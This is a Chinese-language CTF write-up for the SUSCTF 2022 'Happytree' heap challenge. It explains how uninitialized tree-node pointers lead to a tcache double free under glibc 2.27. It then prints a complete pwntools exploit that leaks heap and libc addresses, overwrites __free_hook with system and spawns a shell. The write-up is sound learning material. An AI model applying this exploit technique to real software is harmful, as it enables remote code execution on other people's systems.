SUSCTF2022-WP

Happytree

比赛的时候就做了这一题,卡在了漏洞的利用上。。。最后是@xi4oyu把这道题做出来的。花了几天学wp。
首先题目实现的是一个二叉树,根据代码猜测出了结构体。

struct node {
    long index;
    char* content;
    struct node* left_node;
    struct node* right_node;
}

结构体大小为0x40。
由逆向代码可得:添加节点时,左右子叶的指针并未初始化, 且read函数没有截断。


首先是leak libc可以利用read没截断来带出smallbin的bk指针。
再是getshell,刚开始的想法是伪造chunk(然而对glibc依然不是很熟,不知道可不可行),后来发现可以直接利用未初始化节点double free,但还是被自己绕晕了。看了看@xi4oyu的思路,终于理清楚了。
这里glibc版本是2.27,tcache对于double free的检测基本等于没有(ubuntu下的版本打了patch,2.29正式加入),在小语的思路中double free的不是fastbin,而是tcache。且使用的环形链是分配给content的部分。

为方便操作,可以只往一个方向添加节点
首先创建三个节点:
A --> B --> C
删除B之后就能得到:
A --> C
B --> C
再添加一个节点就得到了:
A --> C --> B --> C
从而实现double free

如下为小语的exp,以及我对exp的分析。

#coding=utf8

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'zsh', '-c']
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :p.send(data)        
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
irt     = lambda                    :p.interactive()
dbg     = lambda gs='', **kwargs    :gdb.attach(p, gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def rs(arg=[]):
    global p
    if arg == 'remote':
        p = remote(*host)
    else:
        p = binary.process(argv=arg)

def insert(index, content):
    sla(b'cmd> ', b'1')
    sla(b'data: ', str(index).encode())
    if content:
        sa(b'content: ', content)

def delete(index):
    sla(b'cmd> ', b'2')
    sla(b'data: ', bytes(str(index), "ascii"))

def show(index):
    sla(b'cmd> ', b'3')
    sla(b'data: ', str(index).encode())

binary = ELF('./happytree', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

# rs()
rs('remote')

insert(0x40, b'/bin/sh\x00')         # X
insert(0x41, b'ccc')                 # X --> Y
insert(0x42, b'ccc')                 # X --> Y --> Z

# leak heap
# 由于index的位置和tcache的fd指针重合,double free时的第二次free的index为tcache的fd指针,因此需要泄露堆地址来实现第二次free。
for i in range(9):
    insert(i+0x90, b'aa\n')

delete(8+0x90)
delete(7+0x90)
insert(8+0x90, b'\n')
show(8+0x90)
ru(b'content: ')
heap = uu64(r(6)) - 0x1260a
leak('heap', heap)

for i in range(8):
    delete(8-i+0x90)

# leak libc
insert(0x80, b'a' * 8)
show(0x80)
ru(b'a' * 8)
lbase = uu64(ru(b'\n')) - 0x3ebd30
leak('lbase', lbase)

__free_hook = lbase + libc.sym['__free_hook']

# get shell
for i in range(6):
    insert(0x91+i, b'bbb')
# 0x94      0x95      0x96
# A   -->   B   -->   C

delete(0x95)                 # X --> Y --> Z --> A --> C, B --> C
insert(0x97, b'ccc')         # X --> Y --> Z --> A --> C --> B --> C
# 0x94      0x96      0x97      0x96
# A   -->   C   -->   B   -->   C
delete(0x97)                 # X --> Y --> Z --> A --> C --> C
delete(0x96)                 # X --> Y --> Z --> A --> C
# 0x94      tcache fd
# A   -->   C

idx = (heap + 0x125a0) & 0xffffffff
delete(idx)                                                   # X --> Y --> Z --> A
# tcache(0x100) C.content --> C.content
# 下面两个delete调整了tcache,防止由于之前free的chunk中的脏数据导致左右指针指向自己。
delete(0x41)                                                  # X --> Z --> A
delete(0x42)                                                  # X --> A
insert(0x97, p64(__free_hook))
# tcache(0x100) C.content --> __free_hook
insert(0x96, b'ccc')
# tcache(0x100) __free_hook
insert(0x95, p64(lbase + libc.sym['system'])) # content = __free_hook

# dbg()
delete(0x40)

irt()
exit()

最后的一点总结

  • glibc-2.27中tcache没有检测double free
  • tcache中不只是fastbin能double free,只要能进入tcache都能double free。(前提是tcache不检测double free)
  • 堆漏洞利用要着眼于每一个分配的chunk。这次我就是思路被局限在节点的chunk,忽略了content的chunk,而一直无法getshell
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇